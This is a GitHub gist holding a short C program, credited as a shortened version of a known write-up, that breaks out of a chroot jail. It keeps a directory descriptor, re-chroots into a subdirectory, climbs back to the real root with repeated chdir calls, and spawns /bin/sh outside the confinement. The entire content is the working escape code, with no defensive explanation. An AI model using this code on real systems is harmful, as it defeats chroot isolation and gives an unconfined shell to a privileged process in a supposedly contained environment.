Created
February 1, 2013 16:14
-
-
Save opatut/4692263 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Shortened version of this: | |
// http://www.bpfh.net/simes/computing/chroot-break.html | |
#include <stdio.h> | |
#include <errno.h> | |
#include <fcntl.h> | |
#include <string.h> | |
#include <unistd.h> | |
#include <sys/stat.h> | |
#include <sys/types.h> | |
int main() { | |
int x; /* Used to move up a directory tree */ | |
int dir_fd; /* File descriptor to directory */ | |
mkdir("chroot-breakout-dir", 0755); | |
dir_fd=open(".", O_RDONLY); | |
chroot("chroot-breakout-dir"); | |
fchdir(dir_fd); | |
close(dir_fd); | |
for(x = 0; x < 1024; x++) { | |
chdir(".."); | |
} | |
chroot("."); | |
system("/bin/sh"); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment